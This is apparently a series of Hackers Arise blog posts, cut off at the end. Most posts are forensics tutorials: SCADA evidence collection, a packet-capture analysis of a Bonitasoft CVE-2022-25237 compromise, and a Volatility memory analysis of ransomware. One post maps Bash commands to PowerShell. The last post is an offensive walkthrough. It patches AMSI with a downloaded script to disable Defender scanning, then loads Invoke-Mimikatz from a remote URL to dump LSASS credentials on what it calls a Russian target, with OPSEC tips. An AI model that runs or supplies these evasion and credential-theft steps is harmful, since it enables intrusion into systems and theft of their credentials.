Start with clear roles and priorities. You need to know who can order device changes, who will gather evidence, and who is responsible for restoring service. Communication between operations and security must be planned ahead of incidents.

As previously said, capture volatile and remote evidence first, then persistent local data. This includes memory contents, current register values, and anything stored only in RAM. Remote evidence includes network traffic, historian streams, and operator session logs. Persistent local data includes configuration files, firmware images, and file system contents. Capturing network traffic and historian data early preserves context without touching the device.

A common operational pattern is to use lightweight preservation agents or passive sensors that record traffic and key events in real time. These components should avoid any action that changes device behavior. Heavy analysis and pattern matching happen later on copies of captured data in a safe environment.

When device interaction is required, prefer read-only APIs, documented diagnostic ports, or vendor-supported tools. If hardware-level extraction is necessary, use controlled methods (for example JTAG reads, serial console captures, or bus sniffers) with clear test plans and safety checks. Keep detailed logs of every command and action taken during live acquisition so the evidence chain is traceable.

Automation helps, but only if it is conservative. Two-stage approaches are useful, where stage one performs simple, safe preservation and stage two runs deeper analyses offline. Any automated agent must be tested to ensure it never interferes with real-time control logic.

SCADA Network Forensics

Network captures are often the richest, least disruptive source of evidence. Packet captures and flow data show commands sent to controllers, operator actions, and any external systems that are connected to the control network.

Start by placing passive capture points in places that see control traffic without being in the critical data path, such as network mirrors or dedicated taps. Capture both raw packets and derived session logs as well as timestamps with a reliable time source.

Protocol awareness is essential. We will cover some of them in the next article. A lot more will be covered during the course. Industrial protocols like Modbus, DNP3, and vendor-specific protocols carry operational commands. Parsing these messages into readable audit records makes it much easier to spot abnormal commands, unauthorized writes to registers, or suspicious sequence patterns. Deterministic models, for example, state machines that describe allowed sequences of messages, help identify anomalies. But expect normal operations to be noisy and variable. Any model must be trained or tuned to the site’s own behavior to reduce false positives.

Network forensics also supports containment. If an anomaly is detected in real time, defenders can ramp up capture fidelity in critical segments and preserve extra context for later analysis. Because many incidents move from corporate IT into OT networks, collecting correlated data from both domains gives a bigger picture of the attacker’s path

Endpoint and Device Forensics

Field devices are the hardest but the most important forensic targets. The path to useful evidence often follows a tiered strategy, where you use non-invasive sources first, then proceed to live acquisition, and finally to hardware-level extraction only when necessary.

Non-invasive collection means pulling data from historians, backups, documented export functions, and vendor tools that allow read-only access. These sources often include configuration snapshots, logged process values, and operator commands.

Live acquisition captures runtime state without stopping the device. Where possible, use the device’s read-only interfaces or diagnostic links to get memory snapshots, register values, and program state. If a device provides a console or API that returns internal variables, collect those values along with timestamps and any available context.

If read-only or diagnostic interfaces are not available or do not contain the needed data, hardware extraction methods come next. This includes connecting to serial consoles, listening on fieldbuses, using JTAG or SWD to read memory, or intercepting firmware during upload processes. These operations require specialized hardware and procedures. It must be planned carefully to avoid accidental writes, timing interruptions, or safety hazards.

Interpreting raw dumps is often the bottleneck. Memory and storage can contain mixed content, such as configuration data, program code, encrypted blobs, and timestamps. But there are techniques that can help, including differential analysis (comparing multiple dumps from similar devices), data carving for detectable structures, and machine-assisted methods that separate low-entropy (likely structured) regions from high-entropy (likely encrypted) ones. Comparing captured firmware to a known baseline is a reliable way to detect tampering.

Where possible, create an offline test environment that emulates the device and process so investigators can replay traffic, exercise suspected malicious inputs, and validate hypotheses without touching production hardware.

SCADA Forensics Tooling

Right now the toolset is mixed. Investigators use standard forensic suites for control-center hosts, packet-capture and IDS tools extended with industrial protocol parsers for networks, and bespoke hardware tools or vendor utilities for field devices. Many useful tools exist, but most are specific to a vendor, a protocol, or a device family.

A practical roadmap for better tooling includes three points. First, create and adopt standardized formats for logging control-protocol events and for preserving packet captures with synchronized timestamps. Second, build non-disruptive acquisition primitives that work across device classes, ways to read key memory regions, configuration, and program images without stopping operation. Third, develop shared anonymized incident datasets that let researchers validate tools against realistic behaviors and edge cases.

In the meantime, it’s important to combine several approaches, such as maintaining high-quality network capture, work with vendors to understand diagnostic interfaces, prepare hardware tools and safe extraction procedures, while documenting everything. Establish and test standard operating procedures in advance so that when an incident happens the team acts quickly and consistently.

Conclusion

Attacks on critical infrastructure are rising, and SCADA forensics still trails IT forensics because field devices are often proprietary, have limited logging, and cannot be taken offline. We showed those gaps and gave practical actions. You will need to preserve network and historian data early, prefer read-only device collection, enforce strict IT/OT segmentation, reduce privileges, and rehearse incident response to protect those systems. In the next article, we will look at different protocols to give you a better idea of how everything works.

To support hands-on learning, our 3-day SCADA Forensics course starts in November that uses realistic ICS network topologies, breach simulations, and labs to teach how to reconstruct attack chains, identify IOCs, and analyze artifacts on PLCs, RTUs, engineering workstations and HMIs. 

During the course you will use common forensic tools to complete exercises and focus on safe, non-disruptive procedures you can apply in production environments. 

Learn more: https://hackersarise.thinkific.com/courses/scada-forensics

The post SCADA (ICS) Hacking and Security: An Introduction to SCADA Forensics first appeared on Hackers Arise.

Welcome back, aspiring forensic and incident response investigators.

Today we are going to learn more about a branch of digital forensics that focuses on networks, which is Network Forensics. This field often contains a wealth of valuable evidence. Even though skilled attackers may evade endpoint controls, active network captures are harder to hide. Many of the attacker’s actions generate traffic that is recorded. Intrusion detection and prevention systems (IDS/IPS) can also surface malicious activity quickly, although not every organization deploys them. In this exercise you will see what can be extracted from IDS/IPS logs and a packet capture during a network forensic analysis.

The incident we will investigate today involved a credential-stuffing attempt followed by exploitation of CVE-2022-25237. The attacker abused an API to run commands and establish persistence. Below are the details and later a timeline of the attack.

Intro

Our subject is a fast-growing startup that uses a business management platform. Documentation for that platform is limited, and the startup administrators have not followed strong security practices. For this exercise we act as the security team. Our objective is to confirm the compromise using network packet captures (PCAP) and exported security logs.

We obtained an archive containing the artifacts needed for the investigation. It includes a .pcap network traffic file and a .json file with security events. Wireshark will be our primary analysis tool.

Analysis

Defining Key IP Addresses

The company suspects its management platform was breached. To identify which platform and which hosts are involved, we start with the pcap file. In Wireshark, view the TCP endpoints from the Statistics menu and sort by packet count to see which IP addresses dominate the capture.

This quickly highlights the IP address 172.31.6.44 as a major recipient of traffic. The traffic to that host uses ports 37022, 8080, 61254, 61255, and 22. Common service associations for these ports are: 8080 for HTTP, 22 for SSH, and 37022 as an arbitrary TCP data port that the environment is using.

When you identify heavy talkers in a capture, export their connection lists and timestamps immediately. That gives you a focused subset to work from and preserves the context of later findings.

Analyzing HTTP Traffic

The port usage suggests the management platform is web-based. Filter HTTP traffic in Wireshark with http.request to inspect client requests. The first notable entry is a GET request whose URL and headers match Bonitasoft’s platform, showing the company uses Bonitasoft for business management.

Below that GET request you can see a series of authentication attempts (POST requests) originating from 156.146.62.213. The login attempts include usernames that reveal the attacker has done corporate OSINT and enumerated staff names.

The credentials used for the attack are not generic wordlist guesses, instead the attacker tries a focused set of credentials. That behavior is consistent with credential stuffing: the attacker uses previously leaked username/password pairs (often from other breaches) and tries them against this service, typically automated and sometimes distributed via a botnet to blend with normal traffic.

A credential-stuffing event alone does not prove a successful compromise. The next step is to check whether any of the login attempts produced a successful authentication. Before doing that, we review the IDS/IPS alerts.

Finding the CVE

To inspect the JSON alert file in a shell environment, format it with jq and then see what’s inside. Here is how you can make the json output easier to read:

bash$ > cat alerts.json | jq .

Obviously, the file will be too big, so we will narrow it down to indicators such as CVE:

bash$ > cat alerts.json | jq .

Security tools often map detected signatures to known CVE identifiers. In our case, alert data and correlation with the observed HTTP requests point to repeated attempts to exploit CVE-2022-25237, a vulnerability affecting Bonita Web 2021.2. The exploit abuses insufficient validation in the RestAPIAuthorizationFilter (or related i18n translation logic). By appending crafted data to a URL, an attacker can reach privileged API endpoints, potentially enabling remote code execution or privilege escalation.

Now we verify whether exploitation actually succeeded.

Exploitation

To find successful authentications, filter responses with:

http.response.code >= 200 and http.response.code < 300 and ip.addr == 172.31.6.44

Among the successful responses, HTTP 204 entries stand out because they are less common than HTTP 200. If we follow the HTTP stream for a 204 response, the request stream shows valid credentials followed immediately by a 204 response and cookie assignment. That means he successfully logged in. This is the point where the attacker moves from probing to interacting with privileged endpoints.

After authenticating, the attacker targets the API to exploit the vulnerability. In the traffic we can see an upload of rce_api_extension.zip, which enables remote code execution. Later this zip file will be deleted to remove unnecessary traces.

Following the upload, we can observe commands executed on the server. The attacker reads /etc/passwd and runs whoami. In the output we see access to sensitive system information.

During a forensic investigation you should extract the uploaded files from the capture or request the original file from the source system (if available). Analyzing the uploaded code is essential to understand the artifact of compromise and to find indicators of lateral movement or backdoors

Persistence

After initial control, attackers typically establish persistence. In this incident, all attacker activity is over HTTP, so we follow subsequent HTTP requests to find persistence mechanisms.

The attacker downloads a script hosted on a paste service (pastes.io), named bx6gcr0et8, which then retrieves another snippet hffgra4unv, appending its output to /home/ubuntu/.ssh/authorized_keys when executed. The attacker restarts SSH to apply the new key.

A few lines below we can see that the first script was executed via bash, completing the persistence setup.

Appending keys to authorized_keys allows SSH access for the attacker’s key pair and doesn’t require a password. It’s a stealthy persistence technique that avoids adding new files that antivirus might flag. In this case the attacker relied on built-in Linux mechanisms rather than installing malware.

When you find modifications to authorized_keys, pull the exact key material from the capture and compare it with known attacker keys or with subsequent SSH connection fingerprints. That helps attribute later logins to this initial persistence action.

Post-Exploitation

Further examination of the pcap shows the server reaching out to Ubuntu repositories to download a .deb package that contains Nmap. 

Shortly after SSH access is obtained, we see traffic from a second IP address, 95.181.232.30, connecting over port 22. Correlating timestamps shows the command to download the .deb package was issued from that SSH session. Once Nmap is present, the attacker performs a port scan of 34.207.150.13.

This sequence, adding an SSH key, then using SSH to install reconnaissance tools and scan other hosts fits a common post-exploitation pattern. Hackers establish persistent access, stage tools, and then enumerate the network for lateral movement opportunities.

During forensic investigations, save the sequence of timestamps that link file downloads, package installation, and scanning activity. Those correlations are important for incident timelines and for identifying which sessions performed which actions.

Timeline

At the start, the attacker attempted credential stuffing against the management server. Successful login occurred with the credentials seb.broom / g0vernm3nt. After authentication, the attacker exploited CVE-2022-25237 in Bonita Web 2021.2 to reach privileged API endpoints and uploaded rce_api_extension.zip. They then executed commands such as whoami and cat /etc/passwd to confirm privileges and enumerate users.

The attacker removed rce_api_extension.zip from the web server to reduce obvious traces. Using pastes.io from IP 138.199.59.221, the attacker executed a bash script that appended data to /home/ubuntu/.ssh/authorized_keys, enabling SSH persistence (MITRE ATT&CK: SSH Authorized Keys, T1098.004). Shortly after persistence was established, an SSH connection from 95.181.232.30 issued commands to download a .deb package containing Nmap. The attacker used Nmap to scan 34.207.150.13 and then terminated the SSH session.

Conclusion

During our network forensics exercise we saw how packet captures and IDS/IPS logs can reveal the flow of a compromise, from credential stuffing, through exploitation of a web-application vulnerability, to command execution and persistence via SSH keys. We practiced using Wireshark to trace HTTP streams, observed credential stuffing in action, and followed the attacker’s persistence mechanism.

Although our class focused on analysis, in real incidents you should always preserve originals and record every artifact with exact timestamps. Create cryptographic hashes of artifacts, maintain a chain of custody, and work only on copies. These steps protect the integrity of evidence and are essential if the incident leads to legal action.

For those of you interested in deepening your digital forensics skills, we will be running a practical SCADA forensics course soon in November. This intensive, hands-on course teaches forensic techniques specific to Industrial Control Systems and SCADA environments showing you how to collect and preserve evidence from PLCs, RTUs, HMIs and engineering workstations, reconstruct attack chains, and identify indicators of compromise in OT networks. Its focus on real-world labs and breach simulations will make your CV stand out. Practical OT/SCADA skills are rare and highly valued, so completing a course like this is definitely going to make your CV stand out. 

We also offer digital forensics services for organizations and individuals. Contact us to discuss your case and which services suit your needs.

Learn more: https://hackersarise.thinkific.com/courses/scada-forensics

The post Network Forensics: Analyzing a Server Compromise (CVE-2022-25237) first appeared on Hackers Arise.

Welcome back, hackers!

When moving from Bash to PowerShell, people often run into difficulties simply because they do not know which tools in PowerShell serve as equivalents and how to use them. For example, I personally like Bash for its straightforward logic. If you need to grab only certain lines from a text file, you know you can call on cat and grep. But when you try to type something similar in PowerShell, it often feels like hitting a wall. You know the logic, you know it should be just a one-liner, yet you get stuck on how to actually do it. That is exactly what we are going to sort out today. 

This article serves as an addition to PowerShell for Hackers: Basics and aims to show more of PowerShell’s capabilities by mapping familiar Bash commands to their PowerShell equivalents. If you haven’t read PowerShell for Hackers: Basics, we highly recommend starting there. This guide is written for people who know the Linux command line and want practical examples for their workflows in PowerShell.

General Rules of the Game

Let’s start with the most basic thing, which is still very important, it is working with variables. In Bash, declaring a variable is as simple as writing foo=1. In PowerShell, you need to add a dollar sign: $foo=1. To print the value of a variable to the screen, you can use the universal echo or the PowerShell-specific cmdlet Write-Host. Is it longer? Definitely. But the benefit is that with Write-Host you can control the output in interesting ways:

PS > Write-Host (2,4,6,8,10,12) -Separator "->" -ForegroundColor DarkMagenta -BackgroundColor White

This snippet will print the sequence of numbers inside the parentheses, place a -> between them, and also change both the text and the background colors. For a quick throwaway script this isn’t necessary, but for a daily report it might be quite useful.

If you need to compare something PowerShell has a full set of operators, familiar to anyone coming from Linux.

If comparison operators and logical conditions are more or less clear, let’s look at a very simple but practical example with data types. Suppose we want to measure the average response time from a website like google.com. To do this we need to send several pings and calculate the average. Here’s a short script:

Write-Host `n "Waiting for test ..."
$Avg = 0
$Site = "www.google.com"
$PingSite = Test-Connection -Count 5 $Site
$Avg = ($PingSite | Measure-Object ResponseTime -Average)
$Calc = ($Avg.Average) -as [int]
Clear-Host
Write-Host "Average response time to $Site is $Calc ms"

If we don’t cast the value to an integer, we get a floating-point number, which isn’t very convenient for this purpose.
This is one of the instances where a PowerShell command is actually stronger than the classic Linux ping. The Test-Connection cmdlet outputs structured objects that already contain response times, status, and other useful properties. That means you can pipe the results directly into tools like Measure-Object and do math on them without needing to parse text with awk or grep. In Linux, ping is text-based, so you often need extra commands to extract the numbers. PowerShell skips that step

Aliases

To make PowerShell easier to use, you can create aliases. It’s worth checking the aliases already available on your system with:

PS > Get-Alias

Aliases can even point to programs. For example, let’s make an alias for launching the calculator:

PS > Set-Alias -Name calc -Value calc.exe

Now typing calc will start the calculator. If you want your alias to represent a command with parameters, you need to wrap it in a function:

function AL01 { Test-Connection -Count 2 google.com }
Set-Alias ping AL01

Now when you type ping, it will perform two pings to google.com. To remove an alias, use:

PS > Remove-Item alias:ping

Note, once you close PowerShell, all aliases you created this way disappear. To keep them permanently, you need to save them in your profile. PowerShell actually has four possible profiles. You can see them with:

PS > $profile | Format-List -Force

To check if they exist on your system:

PS > $profile | Format-List -Force | ForEach-Object { Test-Path $_ }

If the result is False, the file simply doesn’t exist. You can create it, for example, at this path:

PS > notepad.exe C:\Windows\System32\WindowsPowerShell\v1.0\profile.ps1

And add your aliases inside it:

function AL01 { Test-Connection -Count 2 google.com }
Set-Alias ping AL01

After saving and restarting PowerShell, your aliases will load automatically.

One important note. By default, Windows blocks the execution of external scripts. This means your profile file might be ignored. To check the current policy, run:

PS > Get-ExecutionPolicy

Most likely it will return Restricted, which means all scripts are blocked. To allow your profile script to run, you need to open PowerShell as Administrator and set:

PS > Set-ExecutionPolicy Unrestricted

After confirmation, scripts will run normally, including your profile file.

Going Deeper

Now let’s move on to the most popular Linux tools and their PowerShell equivalents, from simple to more advanced.

cd

Navigation between directories. You can use the familiar cd alias or the cmdlet Set-Location:

PS > Set-Location Windows

This moves you to the Windows folder in the current directory. PowerShell even lets you navigate the registry the same way:

PS > Set-Location -Path "HKLM:"

PS > Set-Location -Path "HKEY_LOCAL_MACHINE\SYSTEM\Software\Microsoft\CTF"

ls

To view the contents of a directory, use ls, dir, or the cmdlet Get-ChildItem:

PS > Get-ChildItem C:\

This shows everything on the C: drive. To sort results by modification time (like ls -ltr in Linux):

PS > Get-ChildItem $env:USERPROFILE\Documents | Sort-Object -Property LastWriteTime

For recursive searches:

PS > Get-ChildItem -Path C:\ -Force -Recurse

mkdir

To create directories, use New-Item:

PS > New-Item -ItemType Directory -Name intel

Or to create a subfolder:

PS > New-Item -ItemType "directory" -Path "c:\intel\papers"

You can even create a text file with content in one command:

PS > New-Item -Path . -Name "key.txt" -ItemType "file" -Value "HSDAF8KL"

touch

Creating files also uses New-Item:

PS > New-Item -ItemType "file" -Path "c:\temp\file.txt", "C:\intel\papers\classified.txt"

This makes two files in different folders.

cp

Copying files is done with Copy-Item:

PS > Copy-Item -Path C:\intel\classified.txt -Destination C:\important\

It also works over the network:

PS > Copy-Item -Path C:\key.txt -Destination '\\file-srv\f$\key.txt'

rm

Deleting files is Remove-Item. The dangerous rm -rf equivalent is:

PS > Remove-Item -Recurse -Force

Like in Linux, it’s one of the most dangerous commands. A single mistake can wipe entire directories. It’s a good practice to first preview what will be deleted with Get-ChildItem, or even rename files instead of deleting them to make recovery easier.

You can also delete by masks:

PS > Remove-Item *.txt

Or specific files:

PS > Remove-Item C:\dir1\records, C:\dir1\photos, C:\dir2\interrogations

find

To search for files, use Get-ChildItem with filters. For example:

PS > Get-ChildItem C:\ -Include *.exe -Recurse

This found all .exe files on C:\ but you can also limit depth:

PS > Get-ChildItem -Path "C:\Files\*.exe" -Filter "*software*" -Depth 2 -Exclude "*server*" -Recurse

Notice how flexible the filtering is. Often you don’t need regular expressions.

cat

To read files use Get-Content or gc:

PS > Get-Content -Path C:\case\script.txt

tail

To see the last ten lines of a file:

PS > Get-Content c:\logs\log.txt -TotalCount 10

To monitor in real time:

PS > Get-Content "C:\logs\log.txt" -Wait | Where { $_ -Match "Error" }

This shows new lines containing “Error” as they appear.

grep

PowerShell doesn’t have a perfect grep equivalent, but there are alternatives. To filter objects, use Where-Object.

List processes using more than 100 MB of memory:

PS > Get-Process | Where-Object { $_.WorkingSet -gt 104857600 }

For text searches, use Select-String to find the string that mentions your keyword:

PS > Select-String -Path C:\logs\*.log -Pattern "error"

Or combine with Get-Content:

PS > Get-Content -Path C:\scripts\script.txt | Select-String -Pattern "alias"

uname

To display system information:

PS > $Properties = 'Caption', 'CSName', 'Version', 'BuildType', 'OSArchitecture'; Get-CimInstance Win32_OperatingSystem | Select-Object $Properties | Format-Table -AutoSize

Longer than uname -a, but you can alias it if needed. At the end of the day, you don’t really use it much.

mkfs

To create filesystems, PowerShell has New-Volume and Format-Volume:

PS > New-Volume -StoragePoolName "CompanyData" -FriendlyName "TestVolume" -Size 10GB -ResiliencySettingName "Mirror" -FileSystem NTFS -AccessPath "M:" -ProvisioningType Fixed

Be careful, as misuse can destroy your data. Always test on a safe machine first.

ping

The classic ping equivalent is Test-Connection:

PS > Test-Connection google.com

cut

To extract only certain fields, use Select-Object. For example, to list text files in your user folder but only show names and sizes:

PS > Get-ChildItem $env:USERPROFILE -Filter "*.txt" | Select-Object -Property 'Name', 'Length'

man

The man equivalent is Get-Help:

PS > Get-Help Get-ChildItem

You can also use wildcards:

PS > Get-Help Get-*

Conclusion

As you can see, almost every Linux command has a worthy PowerShell counterpart. Some of them are less elegant or more verbose, but in return they often give you more power through structured objects and richer filtering. Bash and PowerShell approach the same problems from different angles. Bash is all about short, sharp one-liners, a language of quick hacks and piping small tools together. PowerShell takes more words to get going, but it pays you back with depth. Its cmdlets work with objects instead of plain text, which means more precision and flexibility. A job that takes three or four utilities strung together in Bash can sometimes be handled by a single cmdlet.

The transition isn’t painless. The syntax can feel verbose and the patterns unfamiliar. It looks like you’re doing more typing for the same result. In the end, it all comes down to habit and practice. PowerShell is essentially a full toolbox, while Bash is a handy pocket knife. The more you experiment and analyze, the more natural it will feel.

The post PowerShell: Moving from Bash to PowerShell first appeared on Hackers Arise.

Welcome back, aspiring forensic investigators!

We continue our practical series on digital forensics and will look at the memory dump of a Windows machine after a ransomware attack. Ransomware incidents are common, although they may not always be the most profitable attacks because they require a lot of effort and stealth. Some operations take months of hard work and sleepless nights and still never pay off. Many attackers prefer to steal data and sell it on the dark web. Such data sells well and quickly. State sponsored APTs act similarly. Their goal is to stay silent and extract as much intelligence as possible.

Today, a thousand unique entries of private information of Russian citizens cost about $100. That’s cheap. But it also shows how effective Ukrainian and foreign hackers are against Russia. All this raises demand for digital forensics and incident response, since fines for data leaks can be enormous. It’s not only fines that are a threat. Reputation damage is critical. If your competitor has never, at least yet, experienced a data breach and you did and it went public, trust in your company will start crumbling and customers will be inclined to use your competitors’ services. An even worse scenario is a ransomware attack that locks down much of your organization and wipes out your backups. Paying the attackers gives no guarantee of recovering your data, and some companies never manage to recover at all.

So let’s investigate one of those attacks and learn something new to stay sharp.

Memory Analysis

It all begins with a memory dump. Here we already have a memory dump file of an infected machine that we are going to inspect.

Installing Volatility

On our Kali machine we created a new Python virtual environment for Volatility. Keeping separate environments is good practice because it prevents tools from interfering with other dependencies. Sometimes installing one tool can break another. Here is how you do it:

bash$ > python3 -m venv env_name

bash$ > source env_name/bin/activate

Now we are ready to install Volatility in this environment:

bash$ > pip3 install volatility3

It is also good practice to record the exact versions of Volatility and Python you used (for example, pip3 show volatility3 and python3 --version). Memory forensics tools change over time and some plugins behave slightly differently between releases. Recording versions makes your work reproducible later.

Image Information

One of the first things we look at after receiving a memory dump is the captured metadata. The Volatility 3 command is simple:

bash$ vol -f infected.vmem windows.info

When you run windows.info, inspect the OS build, memory size, and timestamps shown by the capture tool. That OS build value helps Volatility pick the correct symbol tables. Incorrect symbols can cause missing or malformed output. This is especially important if you are working with Volatility 2. Also confirm the capture method and metadata such as who made the capture, when, and whether the capture was acquired after isolating the machine. Recording this chain-of-custody metadata is a small step that greatly strengthens any forensic report.

Processes

The goal of the memory dump is to preserve processes, injections, and shellcode before they disappear after a reboot. That means we need to focus on the processes that existed at capture time. Let’s list them all:

bash$ > vol -f infected.vmem windows.pslist

Suspicious processes are not always easy to spot. It depends on the attacker’s tactics. Ransomware processes, unlike persistence mechanisms, are often obvious because attackers tend to pick violent or alarming names for encryptors. But that’s not always the case, so let’s give our image a closer look.

Among other processes, a ransomware process sticks out. You may also notice or4qtckT.exe and other processes with unknown names. Random executable names are not definitive proof of maliciousness, but they’re a reliable starting point for closer inspection. Some legitimate software may also generate processes with random names, for example, Dr.Web, a Russian antivirus.

When a process name looks random, check several things: the process parent, the process start time (did it start right before the incident?), open network sockets, loaded DLLs, and whether the executable exists on disk or only in memory. Processes that only exist in the RAM image (no matching file on disk) often indicate in-memory unpacking or fileless behavior. These are important signals in malware analysis. Use plugins like windows.psscan (process scan) to find processes that pslist might miss and windows.pstree to visualize parent/child relationships. Also check windows.dlllist to see suspicious DLLs loaded into a process. Injected code often pulls suspicious DLL names or shows unnatural memory protections on executable pages.

Parent Relationships

Once you find malware, your next step is to find its parent. A parent is the process that launches another process. This is how you unravel the attack by going back in the timeline. windows.pslist has two important columns: PID (process ID) and PPID (parent process ID). The parent of WanaDecryptor has PID 2732. We can quickly search and find it.

Now we know that the process with a random name or4qtckT.exe initiated WanaDecryptor. As it might not be the only process initiated by that parent, let’s grep its PID and find out:

bash$ > vol -f infected.vmem windows.psscan | grep 2732

The parent process can show how the attacker entered the machine. It might be a user process opened by a phishing email, a scheduled task that ran at an odd hour, or a system service that got abused. Tracing parents helps you decide whether this was an interactive compromise (an attacker manually ran something) or an automated spread. If you see network-facing services as parents or child processes that match known service names (for example, svchost.exe variants), dig deeper. Some ransomware uses service abuse, scheduled tasks, or built-in Windows mechanisms to reach higher privileges or persistence.

Handles

In Windows forensics, when we say we are “viewing the handles of a process,” we mean examining the internal references that a process has opened to system resources. A handle in Windows is essentially a unique identifier (a number) that a process uses to access an operating system object. Processes do not work directly with raw resources like files, registry keys, threads, or network connections. Instead, when a process needs access to something, it asks Windows to open that object, and Windows returns a handle. That handle acts like a ticket which the process can use to interact with the object safely.

bash$ > vol -f infected.vmem windows.handles --pid 2732

First, we see a user (hacker) directory. That should be noted for further analysis, because user directories contain useful evidence in NTUSER.DAT and USRCLASS.DAT. These objects can be accessed after a full disk capture and will include thorough information about shares, directories, and objects the user accessed.

Inspecting the handles, we found an .eky file that was used to encrypt the system

This .eky file contains the secret the attacker needed to lock files on the system. These keys are brought from the outside and are not native system objects. Obtaining this key does not guarantee successful decryption. It depends on what kind of key file it is and how it was protected.

When you find cryptographic artifacts in handles, copy the file bytes, if possible, and get the hashes (SHA-256) before touching them. Export them into an isolated analysis workstation. Then compare the artifact to public resources and sandbox reports. Not every key-like file is the private key you need to decrypt. Sometimes attackers include only a portion or an encrypted container that requires an additional password or remote secret. Public repositories and collective projects (for example, NoMoreRansom and vendor decryptors) may already have decryption tools for some ransomware families, so check there before calling data irrecoverable.

Command Line

Now let’s inspect the command lines of the processes. Listing all command lines gives you more visibility to spot malicious behavior:

bash$ > vol -f infected.vmem windows.cmdline

You can also narrow it down to the needed PIDs or file names:

bash$ > vol -f infected.vmem windows.cmdline | grep or4

We can now see where the attack originated. After a successful compromise of a system or a domain, the attacker brought their malware to the system and encrypted it with their own keys.

The command line often contains the exact flags or network locations the attacker used (for example, -server 192.168.x.x or a path to an unpacker). Attackers sometimes use command-line switches to hide behavior, choose a configuration file, or provide a URL to download further payloads. If you can capture the command line, you often capture the attacker’s intent in plain text, which is invaluable evidence. Also check process environment variables, if those are available, because they might contain temporary filenames, credentials, or proxy settings the malware used.

Getting Hashes

Obviously the investigation does not stop here. You need to extract the file from memory, calculate its hash, and inspect how the malware behaves on AnyRun, VirusTotal, and other platforms. To extract the malware we first need to find its address in memory:

bash$ > vol -f infected.vmem windows.file | grep -i or4qtckT

Let’s pick the second hit and extract it now:

bash$ > vol -f infected.vmem windows.dumpfiles --physaddr 0x1fcaf798

The ImageSection dump (.img) usually looks like the program that was running in memory. It can include changes made while the program was loaded, such as unpacked code or adjusted memory addresses. The DataSection dump (.dat), on the other hand, shows what the file looks like on disk, or at least part of it. That’s why there are two dumps with the same name. Volatility detected both the in-memory version and the on-disk version of or4qtckT.exe

Next we generate the hash of the DataSectionObject and look it up on VirusTotal:

bash$ > sha256sum file.0x1fcaf798.0x85553db8.DataSectionObject.or4qtckT.exe.dat

We recommend using robust hashing (SHA-256 instead of MD5) to avoid collision issues.

For more information, go to Hybrid Analysis to get a detailed report on the malware’s capabilities.

Some platforms like VirusTotal, AnyRun, Hybrid Analysis, Joe Sandbox will produce behavioral reports, network traffic captures, and dropped files that help you map capabilities like network C2, persistence techniques, and whether the sample attempts to self-propagate. In our case, this sample has been found in online sandbox reports and is flagged with ransomware/WannaCry-like behavior. Sandbox summaries showed malicious activity consistent with file encryption and automated spread. When reading sandbox output, focus on three things: dropped files, outbound connections, and any use of legacy Windows features (SMB, WMI, PsExec) to move laterally.

Practical next steps for the investigator

First, preserve the memory image and any extracted files exactly as you found them. Do not run suspicious samples on your analysis workstation unless it is fully isolated. Second, gather network indicators (IP addresses, domain names) and add them to your blocklists and detection rules. Third, check for related persistence mechanisms on disk and in registry hives, if you have the disk image. Scheduled tasks, HKLM\Software\Microsoft\Windows\CurrentVersion\Run entries, service modifications, and driver loads are common. Fourth, feed the sample hash and any dropped files into public repositories and vendor sandboxes. These can help you find other victims and understand the campaign’s breadth. Finally, document everything, every command and every timestamp, so you can later show how the evidence was acquired, processed, and analyzed. For memory-specific checks, run Volatility plugins such as malfind (detect injection), ldrmodules (module loads), dlllist, netscan (network sockets), and registry plugins to inspect in-memory registry hives.

Summary

Think of memory as the attacker’s black box. It often holds the fleeting traces disk images miss, things like unpacked code, live network sockets, and cryptographic keys. Prioritizing memory first allows you to catch those traces before they’re gone. Volatility can help you list running processes, trace parent–child chains, inspect handles and command lines. You can also dump in-memory binaries and use them as artifacts for a more thorough analysis. Submitting these artifacts to sandboxes will give you a clear picture of what happened on your network, which will give you valuable IOCs to prevent this attack and techniques used. As a forensic analyst you are required to preserve the image intact, work with suspicious files in an isolated lab, and write down every command and timestamp to keep the chain of custody reliable and actions repeatable.

If you need forensic assistance, we offer professional services to help investigate and mitigate incidents. Additionally, we provide classes on digital forensics for those looking to expand their skills and understanding in this field.

For more Memory Forensics, check out our upcoming Memory Forensics class.

The post Digital Forensics: Investigating a Ransomware Attack first appeared on Hackers Arise.

Welcome back hackers!

For quite an extensive period of time we have been covering different ways PowerShell can be used by hackers. We learned the basics of reconnaissance, persistence methods, survival techniques, evasion tricks, and mayhem methods. Today we are continuing our study of PowerShell and learning how we can automate it for real hacking tasks such as privilege escalation, AMSI bypass, and dumping credentials. As you can see, PowerShell may be used to exploit systems, although it was never created for this purpose. Our goal is to make it simple for you to automate exploitation during pentests. Things that are usually done manually can be automated with the help of the scripts we are going to cover. Let’s start by learning about AMSI.

AMSI Bypass

Repo:

https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell

AMSI is the Antimalware Scan Interface. It is a Windows feature that sits between script engines like PowerShell or Office macros and whatever antivirus or EDR product is installed on the machine. When a script or a payload is executed, the runtime hands that content to AMSI so the security product can scan it before anything dangerous runs. It makes scripts and memory activity visible to security tools, which raises the bar for simple script-based attacks and malware. Hackers constantly try to find ways to keep malicious content from ever being presented to it, or to change the content so it won’t match detection rules. You will see many articles and tools that claim to bypass AMSI, but soon after they are released, Microsoft patches the vulnerabilities. Since it’s important to be familiar with this attack, let’s test our system and try to patch AMSI.

First we need to check if the Defender is running on a Russian target:

PS > Get-WmiObject -Class Win32_Service -Filter “Name=’WinDefend’”

And it is. If it was off, we would not need any AMSI bypass and could jump straight to our explorations.

Patching AMSI

Next, we start patching AMSI with the help of our script, which you can find at the following link:

https://raw.githubusercontent.com/juliourena/plaintext/master/Powershell/shantanukhande-amsi.ps1

As you know by now, there are a few ways to execute scripts in PowerShell. We will use a basic one for demonstration purposes:

PS > .\shantanukhande-amsi.ps1

If your output matches ours, then AMSI has been successfully patched. From now on, the Defender does not have access to your PowerShell sessions and any kind of scripts can be executed in it without restriction. It’s important to mention that some articles on AMSI bypass will tell you that downgrading to PowerShell Version 2 helps to evade detection, but that is not true. At least not anymore. Defender actively monitors all of your sessions and these simple tricks will not work.

Dumping Credentials with Mimikatz

Repo:

http://raw.githubusercontent.com/g4uss47/Invoke-Mimikatz/refs/heads/master/Invoke-Mimikatz.ps1

Since you are free to run anything you want, we can execute Mimikatz right in our session. Note that we are using Invoke-Mimikatz.ps1 by g4uss47, and it is the updated PowerShell version of Mimikatz that actually works. For OPSEC reasons we do not recommend running Mimikatz commands that touch other hosts because network security products might pick this up. Instead, let’s dump LSASS locally and inspect the results:

